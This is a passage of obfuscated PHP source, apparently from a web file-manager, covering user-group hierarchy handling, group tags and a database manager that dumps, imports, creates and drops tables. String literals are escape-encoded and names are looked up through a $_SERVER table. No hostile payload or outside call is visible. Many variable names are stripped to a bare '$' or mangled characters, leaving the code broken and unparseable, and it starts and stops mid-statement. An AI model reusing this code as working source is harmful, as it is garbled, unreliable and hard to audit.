$this->cacheFunctionGet($̟[1987], $ę); } protected function groupAdd($Ք) { $ݛ =& $_SERVER[砐]; if (!$Ք[$ݛ[182]] && isset($Ք[$ݛ[1904]]) && $Ք[$ݛ[1904]] == 1) { if ($Ù = $this->getInfoSimple($Ք[$ݛ[1904]], !0)) { return $Ք[$ݛ[1904]]; } } else { $Ù = $this->getInfoSimple($Ք[$ݛ[182]]); if (!$Ù) { return !1; } } $ = $ݛ[565]; if ($Ù[$ݛ[555]]) { $ = $Ù[$ݛ[555]] . $Ù[$ݛ[1904]] . $ݛ[50]; } $ = array($ݛ[464] => $this->groupNameAuto($Ք[$ݛ[182]], $Ք[$ݛ[32]]), $ݛ[447] => $Ք[$ݛ[182]], $ݛ[622] => $, $ݛ[1988] => $Ք[$ݛ[1891]], $ݛ[1989] => 0, $ݛ[1908] => 0); if (isset($Ք[$ݛ[1928]])) { $[$ݛ[1928]] = $Ք[$ݛ[1928]]; } else { $ = $this->max($ݛ[1928]); if (!$) { $ = 0; } $[$ݛ[1928]] = $ + 1; } if (!empty($Ք[$ݛ[1904]])) { $[$ݛ[1904]] = $Ք[$ݛ[1904]]; } $ = $this->add($); $this->setNamePinyin($, $[$ݛ[32]]); if (isset($Ք[$ݛ[1990]])) { $this->metaSet($, array($ݛ[1990] => $Ք[$ݛ[1990]], $ݛ[1991] => $Ք[$ݛ[1991]])); unset($Ք[$ݛ[1990]]); unset($Ք[$ݛ[1991]]); } Model($ݛ[1384])->groupRootAdd($); $this->_clearCache($Ք[$ݛ[182]]); return $; } protected function groupEdit($ٔ, $«) { $︪ =& $_SERVER[砐]; $ͧũ = $this->getInfoSimple($ٔ); if (!$ͧũ) { return !1; } if (!empty($«[$︪[182]])) { $֌ = $this->getInfoSimple($«[$︪[182]]); if (!$֌) { return !1; } if ($ͧũ[$︪[1904]] == $֌[$︪[1904]]) { return !1; } if ($«[$︪[182]] != $ͧũ[$︪[182]]) { if ($֌[$︪[555]] !== $ͧũ[$︪[555]] && strpos($֌[$︪[555]], $ͧũ[$︪[555]] . $ͧũ[$︪[1904]] . $︪[50]) === 0) { return !1; } $«[$︪[622]] = $֌[$︪[555]] . $«[$︪[182]] . $︪[50]; $this->_changeChildLevel($ͧũ, $֌); $this->_clearCache($֌[$︪[1904]]); $this->_clearCache($ͧũ[$︪[182]]); } } if (isset($«[$︪[32]])) { $this->setNamePinyin($ٔ, $«[$︪[32]]); } if (isset($«[$︪[1990]])) { $this->metaSet($ٔ, array($︪[1990] => $«[$︪[1990]], $︪[1991] => $«[$︪[1991]])); unset($«[$︪[1990]]); unset($«[$︪[1991]]); } $this->_clearChildrenCache($ͧũ); return $this->where(array($︪[1992] => $ٔ))->save($«); } private function _clearChildrenCache($) { $ =& $_SERVER[砐]; $ﯪ = array($[622] => array($[582], $[$[555]] . $[$[1904]] . $[583])); $ߎ = $this->field($[1904])->where($ﯪ)->select(); foreach ($ߎ as $) { $this->_clearCache($[$[1904]]); } } private function _clearCache($) { $ =& $_SERVER[砐]; $this->cacheFunctionClear($[1986], $); $this->cacheFunctionClear($[1987], $); } private function _changeChildLevel($, $, $ = false) { $ =& $_SERVER[砐]; $ʽ = $[$[555]] . $[$[1904]] . $[50]; $̃ = $[$[555]] . $[$[1904]] . $[50] . $[$[1904]] . $[50]; if ($) { $̃ = $[$[555]] . $[$[1904]] . $[50]; } $ = array($[622] => array($[582], $[$[555]] . $[$[1904]] . $[583])); $ = array($[622] => array($[631], "\162\x65\160\154\141\143\x65\x28\160\141\x72\145\x6e\x74\114\x65\x76\x65\x6c\x2c\47{$ʽ}\x27\54\47{$̃}\x27\51")); $this->_clearChildrenCache($); $this->where($)->data($)->save(); } public function setNamePinyin($, $ƮЗ = false) { $򞍧 =& $_SERVER[砐]; if (!$ƮЗ) { $߾ = $this->getInfoSimple($); $ƮЗ = $߾[$򞍧[32]]; } if (!Input::check($ƮЗ, $򞍧[625])) { $this->metaSet($, $򞍧[508], null); $this->metaSet($, $򞍧[507], null); return; } $̫ = array($򞍧[508] => str_replace($򞍧[53], $򞍧[12], Pinyin::get($ƮЗ)), $򞍧[507] => Pinyin::get($ƮЗ, $򞍧[626])); $this->metaSet($, $̫); } protected function groupStatus($, $ס) { $۬ =& $_SERVER[砐]; $ = $this->getInfoSimple($); if (!$) { return !1; } $this->_clearCache($); return $this->metaSet($, $۬[795], $ס); if ($ס == $۬[90]) { $ٷ = $this->parentLevelArray($[$۬[555]]); } else { } $ٷ[] = $[$۬[1904]]; $ = array(); foreach ($ٷ as $) { $[] = array($۬[1904] => $, $۬[96] => $۬[795], $۬[420] => $ס); $this->_clearCache($); } return Model($۬[1993])->addAll($, array(), !0); } protected function groupRemove($, $֭ = false) { $ɯ =& $_SERVER[砐]; $ߺ = array($ɯ[1904] => $); $ؗ = $this->where($ߺ)->find(); if (!$ؗ || $ؗ[$ɯ[182]] == 0) { return !1; } if (!$֭) { $̛ = $this->getInfoSimple($ؗ[$ɯ[182]]); $this->_changeChildLevel($ؗ, $̛, !0); $this->where(array($ɯ[182] => $))->save(array($ɯ[182] => $ؗ[$ɯ[182]])); $this->_clearCache($̛[$ɯ[1904]]); } Model($ɯ[1993])->where($ߺ)->delete(); Model($ɯ[1994])->where($ߺ)->delete(); Model($ɯ[870])->groupRootRemove($); $this->_clearCache($ؗ[$ɯ[182]]); return $this->where($ߺ)->delete(); } protected function groupSort($լ) { $ =& $_SERVER[砐]; $ = array(); foreach ($լ as $𦍚 => $ϯ) { $[] = array($[1904], $ϯ, $[1928], $𦍚 + 1); } $this->saveAll($); } public function listData() { $ = $this->_makeOrder()->selectPage(50); $this->_listDataApply($[$_SERVER[砐][415]]); return $; } private function _makeOrder($Ȣ = '') { $ =& $_SERVER[砐]; $٩ = array($[1904], $[32], $[1893], $[217]); $ԏ = array($[493] => $[494], $[495] => $[496]); $ް̤ = Input::get($[500], $[7], $[1908], $٩); $ժ = Input::get($[501], $[7], $[1995], array($[1995], $[495])); $ժ = $ԏ[$ժ]; $Ȣ = $Ȣ . "{$ް̤}\x20{$ժ}\54\x20\147\x72\157\165\160\111\x44\40\x61\x73\143"; return $this->order($Ȣ); } public function listChild($) { $ =& $_SERVER[砐]; $ҕ = $this->where(array($[182] => $))->_makeOrder()->selectPage(200); $this->_listDataApply($ҕ[$[415]]); return $ҕ; } public function listChildIds($ʖ) { $ϕ =& $_SERVER[砐]; if (is_string($°)) { $ʖ = explode($ϕ[50], $ʖ); } $黊 = $this->where(array($ϕ[1904] => array($ϕ[7], $ʖ)))->field($ϕ[1996])->select(); if (!$黊) { return !1; } $ص = array(); foreach ($黊 as $) { $ص[] = "\x73\x65\154\145\143\x74\x20\147\x72\x6f\x75\160\x49\x44\x20\146\162\157\x6d\40\140\x67\x72\157\165\160\140\40\167\150\x65\162\145\40\160\141\x72\x65\156\x74\x4c\x65\166\x65\x6c\x20\x6c\x69\153\x65\40\47{$[$ϕ[555]]}{$[$ϕ[1904]]}\x2c\45\47"; } $ص = implode($ϕ[1997], $ص); $黊 = $this->query($ص); if (!$黊) { return array(); } $ʖ = array_to_keyvalue($黊, $ϕ[12], $ϕ[1904]); return array_unique($ʖ); } public function listByID($) { $ʄ =& $_SERVER[砐]; if (!$) { return array(); } $ = array($ʄ[1904] => array($ʄ[7], $)); $ = $this->where($)->select(); $ = array_sort_keep($, $ʄ[1904], $); $this->_listDataApply($); return $; } public function listSearch($) { $ʃ =& $_SERVER[砐]; $ = $[$ʃ[1998]]; $≩ = isset($[$ʃ[1999]]) ? $[$ʃ[1999]] : !1; if (!trim($)) { return !1; } $ = str_replace($ʃ[2000], $ʃ[2001], $); $י = array($ʃ[1904] => array($ʃ[429], "{$}\x25"), $ʃ[32] => array($ʃ[429], "\45{$}\45"), $ʃ[1051] => $ʃ[2002]); if ($≩) { $ƒ = $this->getInfoSimple($≩); $ʆ = $ƒ[$ʃ[555]] . $≩ . $ʃ[583]; $י = array($י, array($ʃ[555] => array($ʃ[429], $ʆ))); } $י = $this->parseWhereLike($י); $ = $this->_makeOrder()->where($י)->selectPage(20); $ = $ ? $ : array($ʃ[415] => array(), $ʃ[412] => array()); if (!$ || count($[$ʃ[415]]) < 5 && Input::check($, $ʃ[364])) { $‡ = $this->groupChildrenAll($≩); $ū = $this->_searchFromMeta($ʃ[507], $, 10, $‡); $ = $this->_searchFromMeta($ʃ[508], $, 10, $‡); $ = array_merge($ū, $, $[$ʃ[415]]); $[$ʃ[415]] = array_unique_by_key($, $ʃ[1904]); $[$ʃ[412]][$ʃ[413]] = count($[$ʃ[415]]); $[$ʃ[412]][$ʃ[414]] = ceil($[$ʃ[412]][$ʃ[413]] / $[$ʃ[412]][$ʃ[409]]); } $this->_listDataApply($[$ʃ[415]]); return $; } protected function groupChildrenAll($˙) { $֕ =& $_SERVER[砐]; if (!$˙) { return !1; } if (!is_array($˙)) { $˙ = array($˙); } $˪ = $˙; foreach ($˙ as $܎) { $ = $this->getInfoSimple($܎); $ = array($֕[555] => array($֕[429], $[$֕[555]] . $܎ . $֕[583])); $С = $this->field($֕[1904])->where($)->select(); $˪ = array_merge($˪, array_to_keyvalue($С, $֕[12], $֕[1904])); } return array_unique($˪); } private function _searchFromMeta($녯, $, $, $ⴑ) { $䠚 =& $_SERVER[砐]; $ = strtolower($); $ž = array($䠚[96] => $녯, $䠚[420] => array($䠚[429], "\x25{$}\x25")); $ž = $this->parseWhereLike($ž); if ($ⴑ) { $ž[$䠚[1904]] = array($䠚[7], $ⴑ); } $ = Model($䠚[2003])->where($ž)->limit($)->select(); if (!$) { return array(); } $ = array_to_keyvalue($, $䠚[12], $䠚[1904]); $Ť = $this->where(array($䠚[1992] => array($䠚[7], $)))->select(); if (!$Ť) { return array(); } return $Ť; } protected function _listDataApplyItem($Ї) { $ڿ = array($Ї); $this->_listDataApply($ڿ); return $ڿ[0]; } protected function _listDataApply(&$) { $܈ =& $_SERVER[砐]; if (!$) { return; } $씣 = array_to_keyvalue($, $܈[12], $܈[1904]); $this->_listAppendChildren($); $this->_listAppendChildrenMember($); $this->_listAppendMeta($, $씣); $this->_listAppendParent($); $this->_listAppendSourceRoot($, $씣); } private function _listAppendChildren(&$) { $± =& $_SERVER[砐]; $Ȱ = array_to_keyvalue($, $±[12], $±[1904]); $ = array($±[182] => array($±[7], $Ȱ)); $ޟ = array($±[182], $±[2004] => $±[536]); $՞ = $this->field($ޟ)->where($)->group($±[182])->select(); $ȶϋ = array_to_keyvalue($՞, $±[182], $±[536]); foreach ($ as &$ю) { $ = $ю[$±[1904]]; $ю[$±[2005]] = isset($ȶϋ[$]) ? intval($ȶϋ[$]) : !1; } unset($ю); } private function _listAppendChildrenMember(&$) { $Һ =& $_SERVER[砐]; $ԕ = array_to_keyvalue($, $Һ[12], $Һ[1904]); $؎ = array($Һ[1904] => array($Һ[7], $ԕ)); $° = array($Һ[1904], $Һ[2004] => $Һ[536]); $އհ = Model($Һ[1994])->field($°)->where($؎)->group($Һ[1904])->select(); $ݴ = array_to_keyvalue($އհ, $Һ[1904], $Һ[536]); foreach ($ as &$) { $ = $[$Һ[1904]]; $[$Һ[2006]] = isset($ݴ[$]) ? intval($ݴ[$]) : !1; } unset($); } private function _listAppendMeta(&$ո, $љ) { $ =& $_SERVER[砐]; $ڿÆ = array($[1904] => array($[7], $љ)); $ = Model($[1993])->where($ڿÆ)->select(); $ = array_to_keyvalue_group($, $[1904]); foreach ($ as &$ڪ) { $ڪ = array_to_keyvalue($ڪ, $[96], $[420]); } unset($ڪ); foreach ($ո as &$ޖ) { $ޖ[$[509]] = array(); if (isset($[$ޖ[$[1904]]])) { $ޖ[$[509]] = $[$ޖ[$[1904]]]; } } unset($ޖ); } protected function parentLevelArray($) { $ =& $_SERVER[砐]; $ = explode($[50], trim($, $[50])); $ = array_remove_value($, $[214]); return $; } protected function parentInGroup($ڭ, $҆˞) { $ =& $_SERVER[砐]; $ = $this->getInfoSimple($ڭ); if (!$) { return !0; } $ȟ = $this->parentLevelArray($[$[555]]); $ȟ[] = $ڭ; foreach ($ȟ as $ڭ) { if (in_array($ڭ . $[12], $҆˞)) { return !0; } } return !1; } private function _listAppendParent(&$) { $ג =& $_SERVER[砐]; $ʄ = array(); foreach ($ as &$٘) { $ʄ[$٘[$ג[1904]]] = $٘[$ג[32]]; $ˇ = $this->parentLevelArray($٘[$ג[555]]); foreach ($ˇ as $켒ǂ) { if (!isset($ʄ[$켒ǂ])) { $ʄ[$켒ǂ] = 0; } } } unset($٘); foreach ($ʄ as $ => $Μ) { if ($Μ) { continue; } $՟ = $this->getInfoSimple($); $ʄ[$] = $՟[$ג[32]]; } $ = $GLOBALS[$ג[6]][$ג[91]][$ג[2007]]; if (KodUser::isRoot()) { $ = !1; } foreach ($ as &$٘) { $ˇ = $this->parentLevelArray($٘[$ג[555]]); $ = $ג[12]; foreach ($ˇ as $ => $켒ǂ) { if ($ && $ == 0) { continue; } $ .= $ʄ[$켒ǂ] . $ג[8]; } if ($ˇ) { $ .= $٘[$ג[32]]; } $٘[$ג[560]] = str_replace($ג[563], $ג[8], $); } unset($٘); } private function _listAppendSourceRoot(&$ݩ, $減) { $陑 =& $_SERVER[砐]; $ݨ = Model($陑[870])->listSourceRoot(SourceModel::TYPE_GROUP, $減); $ݨ = array_to_keyvalue($ݨ, $陑[540]); $ݨ = array_remove_key($ݨ, $陑[540]); foreach ($ݩ as &$ⶍ) { $ⶍ[$陑[89]] = $ݨ[$ⶍ[$陑[1904]]] ? $ݨ[$ⶍ[$陑[1904]]] : array(); } unset($ⶍ); } protected function groupMerge($Ϯ) { $Ϯ = array_values(array_unique($Ϯ)); $⟣ = array(); for ($ = 0; $ < count($Ϯ); $++) { $ = !1; for ($ = 0; $ < count($Ϯ); $++) { if ($ == $) { continue; } if ($this->isParentOf($Ϯ[$], $Ϯ[$])) { $ = !0; break; } } if (!$) { $⟣[] = $Ϯ[$]; } } return $⟣; } protected function isParentOf($؄, $) { $뒹 =& $_SERVER[砐]; if (!$؄ || !$ || $؄ == $) { return !1; } $ = $this->getInfoSimple($؄); $ܕ = $this->getInfoSimple($); $ԋ = $[$뒹[555]] . $؄ . $뒹[50]; if (substr($ܕ[$뒹[555]], 0, strlen($ԋ)) == $ԋ) { return !0; } return !1; } public function groupShowRoot($ƨ, $ = false) { $ =& $_SERVER[砐]; $繆 = $this->getInfo($ƨ); if (!$繆) { return array(); } $Ґ = $this->parentLevelArray($繆[$[555]]); $ω = array($ƨ); if (count($Ґ) == 0) { return $ω; } if ($ && count($Ґ) == 1) { return $ω; } if (!$繆[$[509]] || !isset($繆[$[509]][$[1990]]) || $繆[$[509]][$[1990]] == $[1959]) { return $this->groupShowRoot($Ґ[count($Ґ) - 1], $); } if ($繆[$[509]][$[1990]] == $[403]) { $ξ = explode($[50], $繆[$[509]][$[1991]]); if ($ξ) { $ω = array_merge($ω, $ξ); } } return $ω; } protected function resetParentLevel() { $ߺ =& $_SERVER[砐]; $ = $ߺ[1904]; $ = $this->select(); $ = array_to_keyvalue($, $); foreach ($ as $) { $ = $; $ = array(); while ($[$ߺ[182]] != 0) { $[] = $[$ߺ[182]]; $ = $[$[$ߺ[182]]]; } $[] = 0; $ = $ߺ[50] . implode($ߺ[50], array_reverse($)) . $ߺ[50]; $this->setNamePinyin($[$], $[$ߺ[32]]); $this->where(array($ => $[$]))->save(array($ߺ[622] => $)); } return $; } public function groupNameAuto($, $ݾ) { $ =& $_SERVER[砐]; $ೳ = $this->where(array($[447] => $))->getField($[32], !0); if (!$ೳ || !in_array($ݾ, $ೳ)) { return $ݾ; } for ($ = 1; $ <= count($ೳ) + 1; $++) { $˷ = $ݾ . "\x28{$}\x29"; if (!in_array($˷, $ೳ)) { return $˷; } } } public function groupSwitch($҈, $Ѫǣ) { $ܸ =& $_SERVER[砐]; $؎ = array($ܸ[1904] => array($ܸ[7], array($҈, $Ѫǣ))); $ݨ = $this->where($؎)->select(); $ݨ = array_to_keyvalue($ݨ, $ܸ[1904]); if (!isset($ݨ[$҈]) || !isset($ݨ[$Ѫǣ]) || $ݨ[$҈][$ܸ[182]] == 0) { return !1; } $؎ = array($ܸ[1904] => $҈); $Ҷɣ = Model($ܸ[1994])->where($؎)->select(); if (!$Ҷɣ) { $Ҷɣ = array(); } foreach ($Ҷɣ as $̓) { $ = $̓[$ܸ[1705]]; $؎ = array($ܸ[1705] => $, $ܸ[1904] => $Ѫǣ); $택 = Model($ܸ[1994])->where($؎)->find(); if (!$택) { $ = array($Ѫǣ => $̓[$ܸ[2008]]); Model($ܸ[569])->userGroupAdd($, $); } Model($ܸ[569])->userGroupRemove($, $҈); } $؎ = array($ܸ[180] => 2, $ܸ[182] => 0, $ܸ[455] => 1, $ܸ[540] => array($ܸ[7], array($҈, $Ѫǣ))); $Ω = Model($ܸ[870])->where($؎)->field($ܸ[2009])->select(); $Ω = array_to_keyvalue($Ω, $ܸ[540], $ܸ[183]); $ = !empty($Ω[$҈]) ? $Ω[$҈] : !1; if ($) { if (!$Ω[$Ѫǣ]) { $Ω[$Ѫǣ] = Model($ܸ[870])->groupRootAdd($Ѫǣ); } $ = $Ω[$Ѫǣ]; $؎ = array($ܸ[182] => $); $Ω = Model($ܸ[870])->where($؎)->field($ܸ[2010])->select(); if (!$Ω) { $Ω = array(); } Model($ܸ[870])->moveClearAuth = !1; foreach ($Ω as $) { $ϐ = $[$ܸ[455]] == $ܸ[90] ? REPEAT_RENAME_FOLDER : REPEAT_RENAME; Model($ܸ[870])->move($[$ܸ[183]], $, $ϐ); } Model($ܸ[870])->moveClearAuth = !0; $؎ = array($ܸ[180] => 2, $ܸ[540] => $҈); $ʼԽ = array($ܸ[540] => $Ѫǣ); Model($ܸ[2011])->where($؎)->save($ʼԽ); Model($ܸ[2012])->where($؎)->save($ʼԽ); } $this->_changeChildLevel($ݨ[$҈], $ݨ[$Ѫǣ], !0); $this->where(array($ܸ[182] => $҈))->save(array($ܸ[182] => $Ѫǣ)); $this->_clearChildrenCache($ݨ[$Ѫǣ]); return !0; } } class GroupTagModel extends ModelBase { protected $tableName = "\165\163\145\162\137\146\x61\166"; protected function cacheFunctionAlias($ҟ) { $ =& $_SERVER[砐]; return array($[2013] => array($ҟ[0], $[2014]), $[2015] => array($ҟ[0], $[2016])); } protected function get($ƙ) { $ڧ =& $_SERVER[砐]; $ѭ = Model($ڧ[556])->metaGet($ƙ, $ڧ[2017]); $ৃ = json_decode($ѭ, !0); return $ৃ ? $ৃ : array($ڧ[2018] => $ڧ[90], $ڧ[415] => array()); } protected function set($⽷, $߁Ҵ) { $ݓ =& $_SERVER[砐]; $߁Ҵ = $߁Ҵ ? $߁Ҵ : array($ݓ[2018] => $ݓ[90], $ݓ[415] => array()); return Model($ݓ[556])->metaSet($⽷, $ݓ[2017], json_encode($߁Ҵ)); } protected function getByTagID($, $ǘ) { $߸Ι =& $_SERVER[砐]; if (!$ || !$ǘ) { return !1; } if (!Model($߸Ι[556])->getInfoSimple($)) { return !1; } $ = $this->get($); if (!$ || !isset($[$߸Ι[415]])) { return !1; } $ݿ = array_find_by_field($[$߸Ι[415]], $߸Ι[445], $ǘ); return is_array($ݿ) ? $ݿ : !1; } public function listSource($, $ߚ) { $ѝ =& $_SERVER[砐]; if ($ߚ && !is_array($ߚ)) { $ߚ = array($ߚ); } $ = $this->listData($); $޼ = array(); foreach ($ as $) { $ = $[$ѝ[86]]; if (!$) { continue; } if (!isset($޼[$])) { $޼[$] = array(); } $޼[$][] = $[$ѝ[470]]; } $܊ר = array(); foreach ($޼ as $ => $܎) { $ڌ = !0; if (!$ߚ) { $܊ר[] = $; continue; } foreach ($ߚ as $) { if (!in_array($, $܎)) { $ڌ = !1; break; } } if ($ڌ) { $܊ר[] = $; } } if (!$܊ר) { return array(); } $߫ҏ = array($ѝ[461] => array($ѝ[462], $܊ר), $ѝ[540] => $, $ѝ[180] => SourceModel::TYPE_GROUP); $ = Model($ѝ[1384])->listSource($߫ҏ); if (!$ || count($܊ר) == $[$ѝ[412]][$ѝ[413]]) { return $; } $ = array(); $ҷˁ = array_to_keyvalue($[$ѝ[84]], $ѝ[12], $ѝ[183]); $ = array_to_keyvalue($[$ѝ[85]], $ѝ[12], $ѝ[183]); $ = array_merge($, $ҷˁ); foreach ($܊ר as $) { if (!in_array($, $)) { $[] = $; } } if ($) { $this->removeBySource($, $); } return $; } protected function listData($) { $ =& $_SERVER[砐]; $ = array($[1696] => 0, $[528] => array($[2019], 0), $[466] => $[2020] . $); $Ͼ = $[2021]; $ = $this->field($Ͼ)->where($)->order($[2022])->select(); return $ ? $ : array(); } protected function addToTag($, $Ő, $돋) { $ĵ =& $_SERVER[砐]; if (!$this->getByTagID($, $돋) || !$Ő) { return !1; } if (!Model($ĵ[870])->pathInfo($Ő)) { return !1; } $Ǹ = array($ĵ[1696] => 0, $ĵ[528] => $돋, $ĵ[465] => $Ő, $ĵ[466] => $ĵ[2023] . $, $ĵ[464] => $ĵ[12], $ĵ[1908] => 0); if ($this->where($Ǹ)->find()) { return !1; } return $this->add($Ǹ); } protected function removeFromTag($, $њ, $) { $՝տ =& $_SERVER[砐]; if (!$this->getByTagID($, $) || !$њ) { return !1; } if (is_array($њ)) { $њ = array($՝տ[7], $њ); } $Ȫ͗ = array($՝տ[1696] => 0, $՝տ[528] => $, $՝տ[466] => $՝տ[2023] . $, $՝տ[465] => $њ); return $this->where($Ȫ͗)->delete(); } protected function removeByTag($ھ֠, $ߪ) { $ =& $_SERVER[砐]; if (!$this->getByTagID($ھ֠, $ߪ)) { return !1; } $ȓǃ = array($[1696] => 0, $[528] => $ߪ, $[466] => $[2023] . $ھ֠); return $this->where($ȓǃ)->delete(); } protected function removeBySource($Ŀ, $) { $ԕ =& $_SERVER[砐]; if (!$Ŀ || !$) { return !1; } if (is_array($)) { $ = array($ԕ[7], $); } $қ = array($ԕ[1696] => 0, $ԕ[465] => $, $ԕ[528] => array($ԕ[1065], 0), $ԕ[466] => $ԕ[2023] . $Ŀ); return $this->where($қ)->delete(); } } goto Cе; Eضᑱ: define($_SERVER[砐][284], 1); define($_SERVER[砐][285], 2); define($_SERVER[砐][286], 3); goto Cɧ; D: class DbManage { function __construct($ = array()) { $啗 =& $_SERVER[砐]; if (empty($)) { $ = $GLOBALS[$啗[6]][$啗[21]]; } $this->database = $; } public function model($ = '') { return new ModelBase($, $_SERVER[砐][12], $this->database); } public function db($Ϸ = false) { $ =& $_SERVER[砐]; $ = array_change_key_case($this->database); if ($this->dbType() == $[13] || !$Ϸ) { return $this->model()->db(); } $ߝ = $[$[1023]]; $[$[1023]] = $[12]; if ($[$[1018]] == $[1015]) { $ = $[$[1024]]; $[$[1024]] = substr($, 0, strrpos($, $[1110])); } $this->database = $; $ڬ = $this->model()->db(); try { $̻ = $ڬ->execute("\x73\x68\x6f\x77\40\144\141\164\x61\x62\x61\163\x65\x73\x20\x6c\x69\153\x65\x20\47{$ߝ}\47"); } catch (Exception $ҿ) { } if (!$̻) { $ڬ->execute("\143\x72\145\141\x74\145\40\x64\x61\x74\141\x62\x61\163\x65\x20\140{$ߝ}\x60"); } $[$[1023]] = $ߝ; if ($[$[1018]] == $[1015]) { $[$[1024]] .= $[1110] . $ߝ; } $this->database = $; $ڬ->execute("\x75\x73\x65\x20\x60{$ߝ}\140"); return $ڬ; } public function createTable($ғ, &$ʽ) { $ԅ =& $_SERVER[砐]; if (!IO::exist($ғ)) { ActionCall($ԅ[1111], !0, 0); show_json(LNG($ԅ[1112]), !1); } $ֱí = $this->model()->db(); $ = sqlSplit(IO::getContent($ғ)); foreach ($ as $姷) { $Ӏ = stripos($姷, $ԅ[1113]) === 0; if ($Ӏ) { $ʽ->task[$ԅ[831]] += 1; } $ֱí->execute($姷); if ($Ӏ) { preg_match($ԅ[1114], $姷, $); $ʽ->task[$ԅ[1115]] = $[1]; $ʽ->update(1); } } } public function insertTable($б, &$߶) { $ò =& $_SERVER[砐]; $ = $this->model()->db(); $ = $ٳ播 ? array($ٳ播) : $->getTables(); foreach ($б as $Ѵ) { $ٳ播 = basename($Ѵ, $ò[833]); if (!in_array($ٳ播, $)) { continue; } $߶->task[$ò[1115]] = $ٳ播; if (get_filesize($Ѵ) == 0) { continue; } $ = $this->sqlToDb($Ѵ, $߶); if (!$) { ActionCall($ò[1111], !0, 0); show_json(LNG($ò[1116]) . "\133{$ٳ播}\135", !1); } } } public function sqlFromDb($, $, &$, $ˮɊ = '') { if ($) { $->task[$_SERVER[砐][1115]] = $; } $Ǯ = $this->model($); $ = 0; $͊ = 0; $۩¬ = 10000; $ = fopen($, $_SERVER[砐][1117]); $­ = $Ǯ->getPk(); $ޘ֎ = $Ǯ->getDbFields(); $񝑬 = $_SERVER[砐][12]; if ($GLOBALS[$_SERVER[砐][832]] && in_array($, array($_SERVER[砐][1118], $_SERVER[砐][1119]))) { $񝑬 = $; } do { $ = array($­ => array($_SERVER[砐][1065], $͊)); $ = $Ǯ->where($)->field($ޘ֎)->order($­ . $_SERVER[砐][1120])->limit($۩¬)->select(); $ = !empty($) ? $ : array(); if (!($߻ = count($))) { break; } $ = end($); $͊ = $[$­]; $ѻ = array(); foreach ($ as $) { if ($񝑬) { if ($ == $_SERVER[砐][1118]) { if ($[$_SERVER[砐][33]] == $_SERVER[砐][1121]) { $ض = json_decode($[$_SERVER[砐][420]], !0); if ($ض[$_SERVER[砐][32]] == $GLOBALS[$_SERVER[砐][832]] && $ض[$_SERVER[砐][795]] != 1) { continue; } } } else { if ($[$_SERVER[砐][33]] == $_SERVER[砐][1122] && $[$_SERVER[砐][96]] == $_SERVER[砐][824]) { continue; } } } if ($ˮɊ) { $[$_SERVER[砐][86]] = "\x7b\x69\157\72{$ˮɊ}\175" . substr($[$_SERVER[砐][86]], strlen("\173\151\157\x3a{$[$_SERVER[砐][862]]}\x7d")); $[$_SERVER[砐][862]] = $ˮɊ; } $ѻ[] = $_SERVER[砐][1123] . $this->sqlEncode($) . $_SERVER[砐][1124]; } $ٕ = "\111\116\123\x45\122\124\40\111\x4e\124\117\40\x60{$}\x60\x20\50\140" . implode($_SERVER[砐][1125], $ޘ֎) . $_SERVER[砐][1126]; fwrite($, $ٕ . implode($_SERVER[砐][1127], $ѻ) . $_SERVER[砐][73] . PHP_EOL); $ += $߻; if ($) { $->update($߻); } } while ($۩¬ == $߻); fclose($); return $; } public function sqlToDb($ͨנ, &$) { $ =& $_SERVER[砐]; $ݳ = $this->model()->db(); $ۡ = @fopen($ͨנ, $[1128]); if (!$ۡ) { return !1; } $ד = 0; $ = $[12]; $ = array(); $Ķ = $this->dbType(); $ɣ㚶 = $Ķ == $[13] ? 500 : 2000; $ʢ = basename($ͨנ, $[833]); $ = 0; $پ = 4194304 - 104858; $ = 1000000 - 104858; while (!feof($ۡ)) { $ = trim(fgets($ۡ)); if (!$) { continue; } $䩄؀ = $this->sqlDecode($, $Ķ, $ʢ); if (stripos($䩄؀, $[401]) === 0) { if (!$) { $ = $䩄؀ . $[53]; } continue; } if ($) { $->task[$[831]] += 1; } $ד++; $[] = rtrim(rtrim(trim($䩄؀), $[50]), $[73]); $ = null; $ = strlen($䩄؀); $ += $; if ($ >= ($ɣ㚶 == 500 ? $ : $پ)) { $ = array_pop($); if ($ד > 1) { $ד--; } } if ($ד >= $ɣ㚶 || $) { $䩄؀ = $ . implode($[50], $); if (!$ݳ->execute($䩄؀)) { return !1; } if ($) { $->update($ד); } $ = array(); $ד = 0; $ = 0; if ($) { $ = array($); $ד = 1; $ = $; } } } fclose($ۡ); if (!empty($)) { $䩄؀ = $ . implode($[50], $); if (!$ݳ->execute($䩄؀)) { return !1; } if ($) { $->update($ד); } } return !0; } public function dropTable($ԕ = null) { $˜ȿ = $this->model()->db(); $ = $ԕ ? array($ԕ) : $˜ȿ->getTables(); if (!$) { return; } foreach ($ as $ԕ) { if ($ԕ) { $ԕ = strtolower($ԕ); } else { continue; } $˜ȿ->execute("\144\162\x6f\x70\x20\164\141\142\154\145\40\x69\146\x20\x65\x78\x69\163\164\163\x20\x60{$ԕ}\140"); } } private function sqlEncode($) { $㖌 =& $_SERVER[砐]; $ؿ = array(); foreach ($ as $) { if (is_array($)) { $ = json_encode_force($); } $ = addslashes($); $ = str_replace(array($㖌[1129], $㖌[248]), array($㖌[1130], $㖌[1131]), $); $ؿ[] = str_replace($㖌[58], $㖌[1132], $); } return $㖌[58] . implode($㖌[1133], $ؿ) . $㖌[58]; } private function sqlDecode($, $͊, $ = '') { $ =& $_SERVER[砐]; $ = str_replace(array($[1130], $[1131]), array($[1129], $[248]), $); if ($͊ == $[13]) { return $ != $[1134] ? stripslashes($) : $; } if ($ == $[1134]) { $ = str_replace($[1135], $[120], stripslashes($)); } return $; } public function getSqlFile($ = '') { $ղ =& $_SERVER[砐]; $ = $this->dbType(!0); $Ōꭜ = CONTROLLER_DIR . "\151\156\163\164\x61\x6c\154\57\x64\x61\164\141\57{$}\x2e\x73\x71\x6c"; $먻 = file_get_contents($Ōꭜ); $̡֪ = $ղ[1136] . ($ == $ղ[849] ? $ղ[1137] : $ղ[1138]) . $ղ[1139]; preg_match_all($̡֪, $먻, $ٿ爞); $ = $ٿ爞[1]; $Ţ܂ = $this->model()->db(); $ = $Ţ܂->getTables(); $ = TEMP_FILES . $ղ[1140] . date($ղ[257]) . $ղ[8]; del_dir($); mk_dir($); $ؤ = $ . $ղ[1141]; $ƅ = $ . $ղ[1142]; $ޠ = $ == $ղ[13] ? $ղ[849] : $ղ[13]; IO::copy(CONTROLLER_DIR . "\x69\x6e\x73\164\x61\x6c\154\x2f\144\141\164\141\x2f{$ޠ}\56\x73\161\x6c", $); @touch($ . $ . $ղ[833]); $׽ = fopen($ؤ, $ղ[1117]); $ρ = fopen($ƅ, 